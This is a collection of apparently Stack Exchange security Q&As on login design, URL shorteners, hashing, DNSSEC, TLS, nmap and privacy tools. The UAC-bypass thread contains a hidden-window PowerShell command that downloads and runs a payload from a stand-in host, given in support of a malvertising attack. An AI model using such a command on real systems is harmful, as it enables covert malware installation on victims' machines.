Is having the username and password fields on different pages more secure? An online bank I use requires inputting your username, navigating to a second page and then entering the password to login. What actual security advantage does this provide, if any?

From a security control perspective, all it really does is slow down the ability of automated password probing software to perform their task of trying out multiple passwords.  The site is hoping an attacker may choose a "softer" target instead of their site.  As an actual security control, this technique is not particularly effective.

Also, specifically for banks, this is one of several Industry
approved "security enhancements" that the U.S. banking industry is requiring
member banks to choose from.  In the U.S. in 2011, all banks and
credit unions were informed of new cybersecurity policy from the
Federal Financial Institutions Examination Council
(https://www.ffiec.gov/pdf/Auth-ITS-Final%206-22-11%20%28FFIEC%20Formated%29.pdf),
along with authentication guidance presentations
(https://chapters.theiia.org/western-new-york/ChapterDocuments/FFIEC%20Authentication%20Guidance.pptx).
I remember the bank I use converting their login pages in 2012 and 2013
to meet the new standards before their annual audit, including moving the password to a separate page from the userid.
Given all the
stolen password lists, the separate stolen email address lists, the
fact that most users use the same password on all the sites they have
accounts at, and the fact that most sites stupidly (from a security
perspective) force user-ids to be email addresses, there are new
types of highly selective "low-and-slow" over-the-web password
probing systems that take advantage of all the above.  So the site is hoping that making the login sequence slower to do the automated password probing may make the attackers give up sooner.

From a security UI design perspective, this UI design pattern does offer some useful advantages.  It allows sites that adopt it to add conditional authentication steps.  For example, a site can offer their users the option for a text-message token to create a two-factor authentication.  For those users that provided a mobile number, the sequence may be: page1=enter userid, page2=enter token, page3=enter password.  For those users that did not provide a mobile number, it is just page1=enter userid, page2=enter password.

This UI design template also allows for gradual conversion of their user base to newer and stronger authentication both over-a-timespan and user-by-user, which are both critical considerations for a site with thousands or more of users.
Another example, the bank I use in 2012 converted their login pages to first ask me for user id, then asks me to confirm an image I picked in my profile from a set of images, then finally asks for my password, all on separate pages.  Whether or not picking an image from a set of images really adds any authentication effectiveness is a separate issue from the question about the login UI design template.
A further example, some banks chose to implement a "UI Keyboard" to attempt to thwart key loggers (userid is entered on one page with a regular UI text field, then a second page is brought up with the "UI Keyboard".  One can debate whether an on-screen keyboard is or is not effectivesecurity-wise, but the UI design pattern of configurable and sequential authentication on separate pages allows sites this freedom to innovate.
Most sites do not prematurely end the login sequence if something is incorrectly entered.  The end-user enters all information in the various pages of the sequence, and only at the end learns if authentication was successful or not.  Some sites do exit early, which creates some institutional residual risk in terms of account validity detection.
Which specific authentication steps are shown can even vary by the particular user-id given what that user selected in their profile.  So sites that do this are not forced anymore to offer only one fixed authentication sequence for all their end-users.
Even more advanced login systems of this style can even vary the authentication steps for the same end-user who fails a first authentication, or is accessing from an unknown computer/device, or from an IP address that is significantly out-of-area, or if the site's automated IDS software thinks a password probing attack is in-progress.
So separating IDENTIFICATION from AUTHENTICATION (aka user-id from password and other steps) in the login UI gives sites more freedom and flexibility to evolve their login processes over time.  Those sites that change their login pages to this new template can further adapt or alter the login sequence in the future, yet have their end-users not feel like the login process is changing all that much.


Should a bank/financial service use external URL shortener services? Say there is a bank/financial service that wants to have hyperlinks on their secure website/domain (or even in emails they send out to customers). In some of these links there are some long/obscure URLs which link to one of their subdomains, but the long links are ugly and not very user friendly, so they want to have shorter, nicer links to put on the website or email.

What are the risks for a bank/financial service using an external URL shortener service, e.g. Bitly, for this?
Is it better for a bank/financial service to host this sort of short link to long link translation service on their own domain and infrastructure?

In some of these links there are some long/obscure URLs which link to one of their subdomains, but the long links are ugly and not very user friendly, so they want to have shorter, nicer links to put on the website or email.

Users generally don't have to type any URLs anymore since at least a few decades. In fact, if you have a look at this link, you'll see it is really long and yet you don't need to type any of it. Generally, URL shorteners are only useful if you have to transmit a URL via a medium that doesn't support hyperlinks, such as printing it on paper. And even there, QR codes are slowly getting implemented more and more to solve this exact problem.

  What are the risks of using an external service to do this?

Source: Randall Munroe, xkcd/1698, licensed under CC-BY-NC 2.5

By using URL shorteners, you promise that this URL will link to a trustworthy source. As long as your URL shortener of choice works and remains trustworthy, this works. However, once some time passes, that URL shortener may go out of business, and that domain will go up for sale once again. From that point on, you can't guarantee anymore if those old URLs will work (they probably won't), or what will happen if users visit them. Remember, that in the eyes of a user, this link came from you, so they will trust anything on that site to be from you - even though it might not be.

Has this happened in practice? Yes. In Windows XP, the Windows Media Player does not come with the required license to play DRM protected WMV files. Luckily for the user, Windows Media player has the URL to get the license hard-coded. Unluckily for the user, that URL does not longer point to Microsoft, but rather to a distributor for malware. Any user that still uses Windows XP and wishes to play a DRM-protected WMV file, will be redirected to malware by the built-in media player of their OS, only because of URL shorteners.

A better solution

If you distribute links only digitally, it does not matter how long URLs are. Users just click on the button and that is it. If you really need to distribute URLs in a format that is non-clickable, such as TV advertisements or print media, make your own URL shortener. If ACME Corp. offers a new product called the "Ultra-Gigatron 9001", then make the URL ac.me/ug9001. If that doesn't work, make it acme.com/ug9001. Subdomains are free, and so are path names. Just be aware that that URL needs to be up as long as you expect people to type it.


Password salting vs. length extension attacks I read that when salting passwords, it is advised to use a h(pwd||salt) construction instead of h(salt||pwd), the latter being vulnerable to a length extension attack.
What are possible scenarios in which being able to extend a salted password is useful for an attacker ?
I am aware that there are better ways of storing passwords than just salting them, though I would still like to know, supposedly in a case where only salted passwords are used, how being able to do length extension attacks is useful to an attacker.

No, they are not applicable at all.
Two cases;

Online password try with the application interface: The attacker has no control to execute a length extension attack.

The attackers have a write access to the server:
To be able to execute a length extension attack on the passwords, you need to know the original passwords, too.  If a password is hashed then actually it is stored as
h(salt||pwd||pad1)
With the length extension attack, it will be
h(salt||pwd||pad1||extension||pad2)
Therefore, they need to know the original, too. Hey wait there, if they can access to write then they can modify it with h(salt||password that that know)

Length extension attacks work when the attacker can modify the message that is going to be sent or during the transmission. An example is the Flicker API
Final note: For passwords, you need a memory-hard password hashing with calculation timing control ( possibly with iteration). The current trend is to use Argon2.


Re-use an old employer's laptop and avoid monitoring software I still have an old good laptop from my ex employer that they never requested at the time I left (i assume it was old already by then)

I would like to reuse this computer and not have the risk of being monitored (they had spy software to monitor employees). Which of the following options will prevent me from that risk:

Use the option to reinstall Windows and not remove the files (it will remove all programs, drivers installed)
Use the option to restore software and remove all data.

Or if there is another option.

At a minimum, I would suggest you wipe the disk clean, then reinstall Windows from scratch from a verified ISO.  You can wipe the disk clean by booting from a bootable USB drive containing a live OS (such as linux), that includes a tool (such as dd) that you can use to wipe the drive clean.  Alternatively, you can simply opt to replace the drive with a new drive.

Either of the above would ensure that any malware or spyware that was previously installed on the drive would be wiped-out.  By re-installing Windows on the clean drive from scratch using an ISO whose integrity has been cryptographically verified (via a checksum hash or digital signature), you can be fairly certain that the new installation does not contain any nefarious programs (other than the ones that may be there by design from the manufacturer of the OS).

But, none of the above address the possibility that insidious programs may still be persistent in the hardware, or firmware, or BIOS of the computer.  These can be much more difficult to remove.  If you suspect that your previous employer may have installed malware or spyware at this level, then I would suggest that it might be more cost effective to simply replace the computer.


Bypass UAC without meterpreter session? I have a research project about "Malvertising".
I try to show an attack by using metasploit and I am using a Flash Plugin to hack the victim (exploit/multi/browser/adobe_flash_hacking_team_uaf)

This works fine and I want to execute a selfdeveloped invasiv malware. So I am using as payload (windows/download_exec) to download my file.

Windows 7 supports UAC, so I can't start my file without prompting.

I know metasploit has some exploits to bypass UAC, but all of them require a meterpreter session. I don't have that in my case.

Can I use this exploit to integrate it with my malware?

There are many other ways to bypass UAC regardless of the use of metasploit, since you are talking about Flash plugin, your "exploit" is going to be delivered via a browser.
If you take the example of the recently discovered file-less malware "Dimnie", the payload is dropped using Powershell, to avoid static detection it introduces characters which the Windows shell will ignore (e.g: ^), but the "readable" code that will definitely bypass UAC will look like:

cmd.exe /c "powershell.exe -executionpolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('hxxp://malicious.ma/somefolder/your_payload.exe','%dropfolder%.exe');start-process '%dropfolder%.exe'"

Passing via cmd will generally guarantee you an UAC bypass, at least at user level privilege.


Best way to push data to a client without being blocked by firewall I'm asking this question here since I think people on this forum
probably have the best knowledge of firewalls and routers.

Say I'm designing a multi-player game and I want to push data to the client spontaneously. Since it's probably more efficient and puts less load on the server
than clients constantly polling the server to check for changes.

From my understanding, most computers today have firewalls and a lot of home computers are also behind a router, so if you just send packets it will probably be blocked especially since the router won't know which PC to route the packet to.

What are good ways to push data without being blocked?
In what situations do firewalls allow packets through on PCs with default configurations?  and how will the router know which PC to route the packet to?

I hope this question isn't too big, I think the questions I asked are all related otherwise I'll delete the last question about the router since it might be less related.

EDIT: I say spontaneously sending packets but I mean only after the user has logged in to the game and sent his IP.

EDIT 2: (Answers to comment)

The game is over the internet.

How many traffic - initially it will have maybe a hundred concurrent users but should be scalable for several hundreds, but I'd still like to hear solutions for both cases because I might decide to have more servers if it changes the answer.

Latency - should be as low as possible (Real time game).

Universal considerations

It is common for most firewalls and NAT boxes to allow a server to reply back to the machine that sent a packet from the inside. Anything else is an edge case or insane behavior. Therefore, if a game client can initiate a connection to you, we can assume that you can talk back on that channel. The goal then is to keep the connection alive. With both TCP and UDP, NAT boxes will eventually time-out the application if nothing is ever sent.

UDP

Simple and straight-forward, most NAT routers will allow UDP packets to go back to the host that sent them. In real-time games, this is the normal protocol so that frame re-ordering isn't performed on dropped packets. The game and its server are responsible for synchronizing their states from within the protocol. Expect the connection to be forgotten after a minute of silence. DD-WRT boxes default to 2 minutes.

TCP

The overhead of keeping connections ordered is shifted from the game to the system. Packets arrive to the application in order, though this can create some unwanted delays when packets drop or arrive to the computer out-of-order. At least by RFC, NAT boxes should keep an established TCP connection open for at least two hours before forgetting them. Realistically, count on no more than 5 minutes. DD-WRT routers, for example, forget in 10.


Vulnerability scanners reporting Google Chrome vulns even when it is not Installed I have a machine which does not have Google chrome installed but when I try to scan it using Nexpose and Retina all the Chrome related vulnerabilities are listed in the report and it shows it as vulnerable.

Has anyone else faced this issue? Am I missing anything here?

Check which files are reported as vulnerable. There are a lot of programs that embed significant chunks of Chrome - not the actual browser window (the "chrome") but the rendering engine, JS, engine, the sandboxing framework, possibly the Google account stuff (in other words, the parts that are actually likely to have vulnerabilities), and it is possible that the scanner is noticing these things. For example, CEF (Chromium Embedded Framework) is pretty common in a lot of software that wants to make a desktop version of what was originally written as a web app, but CEF components need to be kept up to date as bugs are found and patched in the Chromium code from which they come.

Of course, most apps that embed Chrom(e|ium) components are only using them to render a very limited selection of content, so the risk is generally a lot lower (harder for an attacker to slip malicious script into a dedicated app that only loads scripts from its one server than into a web browser that loads scripts from literally anywhere).


Block IP to SQL Server remote access I find in my Windows Application logs many external IP addresses trying to connect to my SQL Server 2014.  It keeps trying different usernames and passwords.

SQL Server has remote access enabled as we require it. It's a Windows Server 2012 R2.

Is there a way to block the IP addresses or another way to protect against this?

If you require your SQL Server (TCP 1433) to be accessible via the public internet and you do not know the IP addresses of your clients, then there is unlikely to be much you can do about this other than to:
- ensure that all accounts that have access to the SQL server have very strong passwords
- ensure you are installing the latest security patches for SQL Server and for your OS

However, if you require your SQL Server to be accessible, and you know the IP addresses of your clients (say your web host, or a third party that's sending you data) then you can use the built-in windows Firewall to allow access to the TCP 1433 to only the IPs you specifically allow.

A third alternative might be to move the port to something other than the default, but this is not security - only obscurity.


Backing up sensitive data - pitfalls and best practices Obviously, securely backing up sensitive data is a challenge.  A remote backup is important for surviving a variety of disasters.  What are some of the "gotcha's" lurking out there, and what best practices can avoid them?

To make it a bit more concrete, consider e.g. a small business on a tight budget backing up both staff desktops (Windows) and servers (Linux) which have local user account data (but not clear-text passwords, credit cards, or other nasty things like that).  Favorite tool or service suggestions would be welcome.

The biggest gotcha I encounter is still "did you test that you can recover from the backups?" I apologise if I'm teaching grandmother to suck eggs, but I still come across companies that happily write all their data out somewhere and never find out whether they can read it back.


In a SQL server, passwords are hashed in chinese. What algorithm it might be using? While performing the following query, passwords are displayed in Chinese. I'm wondering what hashing algorithm is being used here in order for me to carry out a brute-force attack.

Computing a hash is a math operation on binary data. It produces a fixed size array of bytes, depending on the algorithm. It doesn’t produce characters.

What you’re seeing is encoded output. The SQL utility you’re using has decided to output the byte array as some form of Unicode. Instead, you need to change the output encoding of your SQL so you can view the data in a way that makes sense to you.

If you’re using Microsoft TSQL, you could look at a function like master.sys.fn_varbintohexstr to output the data in hexadecimal.


.NET extraction and storage of compression files concerns I have been provided a specification for an enhancement to one of my companies software products to allow extraction of uploaded compression files (just Zip currently) that will save and migrate the inner files into the customers Records Management system.

Our software is .NET 4.5 on IIS 8.5 and I am just wondering if I should be arranging with management to not approve this request. Ive always been taught to treat .Zip files with suspicion, and the fact that I am going to then pass the trust to the computer to extract, look at the files and then move them scares me quite a bit.

Are my concerns just old news in which I shouldn't be worried anymore, and should I be comfortable enough to trust that IIS and .NET ZIP libraries are not going to end up being caught out by executing some sort of remote code, or migrating a virus through the customers network.

The files are usually uploaded to a file system location until moved to the records system, so potentially having an .exe sitting loosely around the system concerns me (although on extraction could remove specific file types). If I just streamed uploads directly into the Records System would this reduce any risk?

Our current product only allows upload of files with the png, pdf, docx and other image based extensions.

Are my concerns legitimate, or should I be trusting IIS and .NET to handle correctly.

I am also finding it extremely difficult to find information based websites that carry information for specific related concerns for specific technologies (IIS, .NET etc.), even OWASP doesn't seem to have specific detailed information. If anyone has any good websites with this kind of information, please provide them.

Thanks,

It has nothing much to do with .NET or IIS and make your mind clear about just you are in risk because of using MS products. When you get input from public, of any kind, you should act pessimistic. Check the input and be sure it is of the kind you are expecting. There are two possible situations:

1) You had no mistake in your part but a vulnerability in some library (like zip for example) is exploited by hacker. You can do little about it like using a separate VM which has nothing sensitive on it and in charge for management of received files, extracting and making them available to other parts of system (pulling by other parts is preferred). If VM is not possible keep the process in charge low privilege. So in case of any exploit your concern is just minimizing the damage. Microsoft autoupdates lowers leveraging zero day exploits risk. Your real concern goes to number two.

2) Most important advise for security programming: don't trust user input. Consider SQL injection, XSS, BoF... All happens because of trusting the type , size, format... of user input, so check it and make sure it is what you expect from all aspects. Use an updated antivirus on VM responsible for file management and check archives.

You can recap it as plan A when you do your best to prevent disaster, plan B, damage already happened and you try to minimize its consequences.


Remote Connection Tampering My small high street laptop repair/service/maintenance shop has been up and running for about 3 years. It's doing quite well so I'm looking to expand into other areas of the PC market.

One area I have decided to invest into is the loan of laptops to customers for a fixed monthly fee.

I want to be able to connect to it if the user is having any issues and to check whether there is anything illegal taking place on that laptop. (All RD connections are consented to under the contract for the loan)

I want to install something like RealVNC or similar onto each laptop as the client for the Remote Desktop. But obviously I need to stop each user from modifying the client software. This is where I'm having problems.

I'm not sure which software to use. RealVNC would cost me over £1000 for the licenses and I don't have that kind of money to pump into it at the moment. Is there any free or cheaper alternatives which will give me this security control over the laptop?

The laptops are all running windows XP/Vista/7.

If you have no liability for what the users do with the laptop, then what is the benefit to you of monitoring the usage. In the absence of any legitimate benefit, that would leave anyone questioning your motives in doing so - so you would create liability by doing this.

There are a lot of other security concerns you should be concerned about - primarily ensuring that you shred the hard disk on return and reinstall (which is a lot simpler if you use imaging). There are also tools which will help you recover a stolen laptop.

Spying on your users is downright dangerous.


Write to selected disk location to overwrite deleted file I know that every file on a computer is written to a specific disk location. Using Python I want to locate the file and overwrite it in order for it to be impossible to retrieve it. Using an SSD I believe that is impossible to do because of wear leveling. Is it possible on a HDD?

The reason why I'm asking this is because I have to write one script to do an anti forensic deletion and another one to recognise the pattern of this "weird" move. An easy approach for me would be to just generate random files until it will cover the whole free space of a computer, but it wouldn't be so professional for a master thesis. Do you have any ideas for an other way on how to do it?

It sounds like the point is to discover if anti-forensic techniques leave their own distinctive, forensically-detectable evidence behind.

In that case, you can probably choose to wipe the files with any method you want, regardless of how easy or difficult it is to recognize that wiping was performed, or what language is used to create the wiping routine.  You could overwrite files with all zeros, all ones, alternating ones and zeroes, single or multiple passes, randomly generated bytes, the output of a lorem ipsum generator, or even thousands of random web pages using something like wget https://en.wikipedia.org/wiki/Special:Random.

As you mentioned thesis, you should talk to your advisor to figure out the level of sophistication expected.  He or she might want to see the effectiveness of the wiping tools you created, but he or she may be even more interested in the effectiveness of your "wipe-detector".  The advisor might want to see if your detector is capable of recognizing fingerprints of some of the various publicly available wiping tools, such as sdelete, DBAN, or others.  For example, the OS may record when the tool was run in the application event log; the tool may leave a telltale series of "low disk space" entries in the system event logs; a recognizable pattern of deleted file names in the file allocation table; a sudden reduction in the size of backup files created in the backup logs.  Caught early enough, you might discover a unique disk fragmentation pattern, or if these tools leave specific traces hiding in the swap files.  To me, that's the level of sophistication I'd expect to see from a master's thesis.

Given all of that, it sounds like "Using Python, I want to overwrite" may be a premature statement.  You may want to dig a bit deeper to figure out what you need to accomplish.  And be sure to discuss this with your advisor.


Why one time passwords using nested hash chain are not used? I am wondering, why web sites do not use one-time passwords generated by hash chain. By that I mean that a client chooses a secret and after being salted, he applies some secure hash function F() on it n times (e.g. n=1000000) in a row.

F(salted secret,n)=F(F(F(...F(salted secret)...)))).

Client then sends the result and the name of the hash function to the server in a secure way.

Then, when he needs to authenticate himself against the server, he applies hash function n-1 times on a his secret in a row F(salted secret,n-1) and use this hash as a one time password for the log in process. The server authenticates the client only if F(F(salted secret, n-1)) == F(secret, n). Next time, the process repeats itself for n-2...

The method you describe is indeed a classic algorithm for one-time passwords, but it has some drawbacks:

It is good only for N passwords, where N must be chosen at initialization time.
The client must invoke the hash function R times, where R is the number of remaining passwords in the chain, i.e. initially R = N. This limits the size of N, otherwise the cost becomes unbearable for the client system.
The server must retain some state, which is either the last successful password, or a counter. The counter has the problem that the cost on the server becomes proportional to the number of used password: if the user has used 1000 passwords, then the server must invoke the hash function 1000 times to validate the next password. On the other hand, saving the last password works only if the last password is the complete hash output, not a derived subset -- which makes for very bulky one-time passwords, hard to type (think 20+ random characters...).

For one-time passwords, common practice is to use HOTP, which uses a counter on both sides (client and server) and a single HMAC invocation. It also relies on the underlying hash function being secure, but it does so in a much easier to use way, avoiding the problems described above.

Summary: the method you describe is not used because much better methods are known -- not that they are more secure, but they induce much lower overhead on the client, the server and the human user.


Web Security Certifications I'm looking for a certification for Web Application Security and Web Pen Testing. Via Google I found the following two:

Certified Web Application Tester
GIAC Web Application Penetration Tester

How well is there reputation?
Are there other ones?
How difficult are they? What is needed for preparation?

I've not done the GIAC one, but I have got the CREST Web Application Tester certification, so I can comment on that.

I'd say it's pretty well regarded, specifically in the UK penetration testing/ethical hacking industry.  The CESG equivalency that @RoryAlsop mentioned is important for government work in the UK and it's also regarded as a good indication of a candidates skill match for UK testing companies (as several of the larger ones helped to design it).
As I mentioned on another question recently, I reckon that the CREST exam is the hardest professional exam I've taken.  To put that in context I've done ~30 professional exams across IT and security over the last 15 years.  It's got a tight time constraint and requires practical knowledge as well as theoretical knowledge to pass.
Preparing for it can be tricky as (as far as I know) there's no specific training course you can take.  Personally I wouldn't recommend trying it unless you're an active web app. tester.  If you are going to take it then review the syllabus that's available on their site and make sure you're comfortable with all the areas it mentions.  Also I'd recommend reviewing the Web App Hackers Handbook, and ensuring you're comfortable with the various areas that it describes.


What should I do if I'm receiving Tiktok verification code even I don't use and have deleted the application in my android device? What should I do if I'm receiving SMS on phone giving in verification code of TikTok app despite I have deleted and no longer use the application in my Android device?
I got an international call instantly after SMS popped in my notifications.Is this a cyber attack or phishing?

When you delete the app, then the account with your password still remains (in case you later decide to reinstall the app).
It appears someone was trying to log into your Tik Tok account, couldn't, and then used the "forgot password" function. This doesn't necessarily mean malicious intent. It is possible that someone somewhere in the world registered an account with a very similar account ID, mistyped it, and now erroneously tries to log into yours believing it to be theirs.
If the messages are not too distracting, you can just ignore them as spam. If they do annoy you, then you should delete not just the app but the account (which according to this guide requires to reinstall TikTok temporarily). 30 days later your account will be permanently deleted, together with any PII, including your phone number (hopefully - it's a Chinese company and they aren't bound to the same data protection legislations as US or European companies)


Possibility of a DNSSEC attack I start learning about DNS and DNSSEC. I discovered DNSSEC work similar to a PGP signature. A piece of data signed by a key and the key signed by another key. So, I have an attack might work with some assumption, but I want some validation will this work.

Assuming an attacker had intercepted a network, and able to manipulate the packet. A client request a DNS record from Google's public DNS. DNS responses with legit answer. Now the attacker intercept the response packet, modify the answer and remove any DNSSEC related information. Client directed to attacker's site.

The attack basically remove the DNSSEC related information. Since client doesn't have any info to verify the data, it only can trust and connect the IP address within the DNS answer. And the attacker don't need to spoof the target domain and its parent because it is just a simple subtraction.

Is this attack possible or DNSSEC have some kind of mechanism to prevent this happen?

There's a chain of trust that stops this:

The DNS root itself is signed with DNSSEC. This is well-known to clients that support DNSSEC at all. When the DNS root provides records about (e.g.,) the .com domain, its response will include a DS record to indicate that that domain should be signed as well. This works again at subsequent levels: the .com domain will provide a DS record to indicate that example.com is supposed to be signed with DNSSEC.

Because of this, an attacker who removes any DNSSEC record will break the validity of the previous level's DNSSEC, and removing DNSSEC from the root is a clear signal that tampering has occurred.

Caveat: the above only works if every piece of the domain is signed. If example.com isn't signed but secure.example.com is, the attack you're describing does become possible unless the resolver knows of the trust anchor for secure.example.com.

Sources:

https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions#The_lookup_procedure
https://technet.microsoft.com/en-us/library/dn593672(v=ws.11).aspx


Why so many restransmissions on Nmap? I executed the following code:

sudo nmap -sT -Pn  --max-parallelism 1 --max-retries 0 -p5481,10212,19999,2308,102 192.168.0.19 192.168.0.20

And when I analyzed the scan on Wireshark, I saw this:

I don't understand why Nmap do two restransmission for each port. In addition, I use --max-retries 0, so it should not send so many retransmissions.

You're using a TCP-Connect scan (-sT).

When doing this, nmap just uses the Operating System call for connect(), so it's really the OS deciding wether or not a TCP Retransmission should take place or not, nmap doesn't control this in a TCP Connect Scan as far as I know.
(The docs are missing this information)

TCP Connect can be run as a normal user, whereas the actual manipulation to put max-retries into effect would require a RAW_SOCKET (which needs root permission).

Try doing the same with a TCP SYN scan (-sS), and your --max-retries 0 should show it's use in Wireshark!


Signature hash algorithm SHA256 (Certificate) vs Peer signing digest: SHA1 As client I am using an API of a company. To be able to connect I have to decrease the security level to CipherString = DEFAULT@SECLEVEL = 1 in /etc/ssl/openssl.cnf using OpenSSL 1.1.1d.

Then if I do openssl s_client -connect <servername>:443 I get:

...
No client certificate CA names sent
Peer signing digest: SHA1
Peer signature type: RSA
Server Temp Key: ECDH, P-256, 256 bits
---
SSL handshake has read 4499 bytes and written 443 bytes
Verification: OK
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: XXXXXXX
    Session-ID-ctx:
    Master-Key: XXXXXXXX
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1579345646
    Timeout   : 7200 (sec)
    Verify return code: 0 (ok)
    Extended master secret: no

Google Chrome in security panel says:

Connection - obsolete connection settings
The connection to this site is encrypted and authenticated using TLS 1.2, ECDHE_RSA with P-256, and AES_256_GCM.
The server signature uses SHA-1, which is obsolete. Enable a SHA-2 signature algorithm instead. (Note this is different from the signature in the certificate.)

Questions:

What is the relation of Peer signing digest with Signature hash
algorithm (Certificate)?
Why it is connected with SHA1 when in
https://www.ssllabs.com/ssltest/ gets A.
Can I do something as client?
If no what should they change in their
    servers?

Added more info:

openssl s_client -connect <servername>:443 -sigalgs <algorithm>+<hash>

(For OpenSSL 1.1.1d:  SECLEVEL=2)
ECDSA+SHA512  sslv3 alert handshake failure
ECDSA+SHA384  sslv3 alert handshake failure
ECDSA+SHA256  sslv3 alert handshake failure
ECDSA+SHA1    sslv3 alert handshake failure
RSA+SHA512    sslv3 alert handshake failure
RSA+SHA384    wrong signature type
RSA+SHA256    wrong signature type
RSA+SHA1      no suitable signature algorithm

(For OpenSSL 1.1.1d: SECLEVEL=1)
ECDSA+SHA512  sslv3 alert handshake failure
ECDSA+SHA384  sslv3 alert handshake failure
ECDSA+SHA256  sslv3 alert handshake failure
ECDSA+SHA1    sslv3 alert handshake failure
RSA+SHA512    sslv3 alert handshake failure
RSA+SHA384    connects with peer signing digest SHA1 type RSA
RSA+SHA256    connects with peer signing digest SHA1 type RSA
RSA+SHA1      connects with peer signing digest SHA1 type RSA

(For OpenSSL 1.0.2k)
ECDSA+SHA512  sslv3 alert handshake failure
ECDSA+SHA384  sslv3 alert handshake failure
ECDSA+SHA256  sslv3 alert handshake failure
ECDSA+SHA1    sslv3 alert handshake failure
RSA+SHA512    connects with peer signing digest SHA1 type RSA
RSA+SHA384    connects with peer signing digest SHA1 type RSA
RSA+SHA256    connects with peer signing digest SHA1 type RSA
RSA+SHA1      connects with peer signing digest SHA1 type RSA

What is the relation of Peer signing digest with Signature hash
  algorithm (Certificate)?

Peer signing digest is the algorithm used by the peer when signing things during the TLS handshake - see What is the Peer Signing digest on an OpenSSL s_client connection?. This is independent of the certificate.  Signature hash
algorithm (Certificate) is instead the digest algorithm used by the issuer of the certificate to sign the certificate.

  Why it is connected with SHA1 when in https://www.ssllabs.com/ssltest/ gets A.

The security requirements for both cases differ. The Peer signing digest must be strong enough to not be breakable during the TLS handshake which takes at most a few seconds. The Signature hash algorithm (Certificate) should not be breakable as long as the key of the issuer certificate is valid, which is usually several years. This means for now SHA-1 is probably sufficient for protecting the TLS handshake but not for a certificate signature.

  Can I do something as client?

In TLS 1.2 the client can send which digest algorithms are supported for the handshake. If the client does not offer SHA-1 the server should not use SHA-1, which means that it might use other algorithms offered by the client or that the connection fails. See the -sigalgs option for openssl s_client. Note that the server might simply ignore the information from the client about the supported algorithms - which seems to be the case in your setup. In this case there is nothing you can do as a client.

  If no what should they change in their servers?

Nothing is known about the server so no recommendations can be done here. Depending on the server there might be an option to setup the signature algorithms for the TLS handshake or there might be no such option.


Can ISP deanonymize Telegram public channel creators? In a Telegram public channel, all messages are public, send by the channel creators and contain a timestamp. Suppose I am an ISP. Can I analyse the traffic of all my clients and decide if they are sending a Telegram message? (assume they don't use Tor or VPN)
If so, I can look at the timestamp of all messages ever published by a public channel, and decide which of my clients sent Telegram messages at roughly the same time. Combined with other information, I may be able to deanonymize the channel creators. Does my attack work for a well-funded adversary?
More backgrounds
I am mostly interested in the case of living under an authoritarian government, where legal barriers don't apply and ISPs are required to cooperate with the police department and intelligence agency.
How would you deanonymize channel creators if you were an authortarian government?

Probably not
The attack is sound in theory: you check everyone which sent telegram messages at that time and correlate based on timestamp and/or size.
The hurdles you have are:

Many people would be sending Telegram messages around that time (it is a popular service, the correlation would be much better if there would be few users connected and apart)
Messages are tiny. Uploading a video would produce a bigger signal, but sending a few words would probably be noise amongst the padding blocks. Pretty much everyone will be sending the same amount of traffic
Moreover, it could probably be confused with traffic received from telegram (sending a small message vs asking the server if there are pending messages to download¹ or a "message received/seen" reply)
Telegram attempts to hide its entrypoints as part of its efforts to avoid being blocked. You might not be sure if certain requests are going to Telegram or not.
You have a partial view of the network. Maybe you are a big ISP, and have 5 users that were sending telegram messages ±3 seconds the reported time. But you won't know if it was sent by someone else. Maybe someone using a VPN or living on the other side of the world.

It would work best if you already had one (or maybe a handful) suspects, and then restricted that based on that network data. If you have external evidence that this channel is owned by Alice or Bob, and you are able to snoop on the connections of both of them, I think you could determine which of them is the channel owner quite easily with a few datapoints.
On the other hand, as a generic fishing system, it would be much more complicated. You would need to take into account the legislation you are working with, though. On many countries, it would be illegal to deanonymize the user (lacking a warrant or their consent). While others wouldn't mind jailing and beating the 50 people that were connected to Telegram around that time to discover which of them were at fault (in addition of grabbing and analyzing their phones).
¹ Note: Some Telegram clients can use the system native messaging (like Google Cloud Messaging) to be woken when there are messages to retrieve, but other builds use polling.


How can I limit the information (metadata) that is being sent to Google from an Android Phone? I am thinking about rooting my phone and removing some bloatware apps (like google+ and so on) that come with it. Are there any other ways to limit Google's information about that specific phone?

Doing the following would help in controlling the data being sent out.

Root your phone
Install a firewall (Eg: Comodo Antivirus, Avast Mobile Security)
Turn on firewall for applications which you don't want to communicate with the server.
Uninstall bloatware and unnecessary google apps using System app remover [ROOT] [ Make sure that the services you uninstall are absolutely unnecessary for the operation of the phone]


Understanding which privacy tools provide very similar functionality https://amiunique.org/tools has a list of recommended privacy tools.

uBlock
Ghostery
HTTPS Everywhere
Lightbeam
AdBlock Plus
Disconnect
Privacy Badger
NoScript
Self-destructing cookies

However, aren't uBlock, Ghostery, AdBlock, Disconnect and Privacy Badger the same thing: Add-ons that block calls to unwanted servers (ads, trackers, etc.)?

I don't want to use more add-ons than necessary, so I'd prefer to choose just one if they all do the same thing. (Which one to choose is not part of the question.)

(I realise that they may have different block lists, but I'm asking of the functionality they provide are essentially the same: Blocking calls to unwanted servers.)

If they actually differ significantly in functionality, please explain specifically what they do and what makes them so different that I can truly benefit from using several of them.

They are not all for the same purpose nor work the same way, but some of them do have overlapping features. They are not all essentially the same, but you can divide them into these categories:

Ad blockers: UBlock, Ghostery, AdBlock Plus. They destroy annoying elements from websites – those that are trying to sell you something you don't need (or show you tits when you are not in the mood). It might be good to have one from this category, but not more.
Less tracking: Lightbeam, Disconnect, Privacy Badger. These block cookies or other common elements between sites that can be used to combine your visits on different sites i.e. track you. They don't really care what you'll see, and they are less dependent on predefined list of "unwanted" servers or sources. I think Lightbeam doesn't block anything but lets you see what's happening.

Privacy Badger has a list of know tracking sites but it also learns from your visits. Privacy Badger can remove some ads too, but if you really dislike ads, even still image banners, ad blockers are needed. Ad blockers can prevent Privacy Badger from learning new things, but the outcome with both enabled is similar. Read more from: How is Privacy Badger different from Disconnect, Adblock Plus, Ghostery, and other blocking extensions?

Self-destructing cookies deletes cookies when you close the browser, no matter what site.
NoScript deals with all scripts rather than adds/tracking, and has opposite whitelist based approach. NoScript removes some ads merely as a side effect. It doesn't handle tracking cookies, but it can help against browser fingerprinting by giving out less information.
HTTPS Everywhere has least to do with anything before: it prevents HTTPS downgrade attacks.

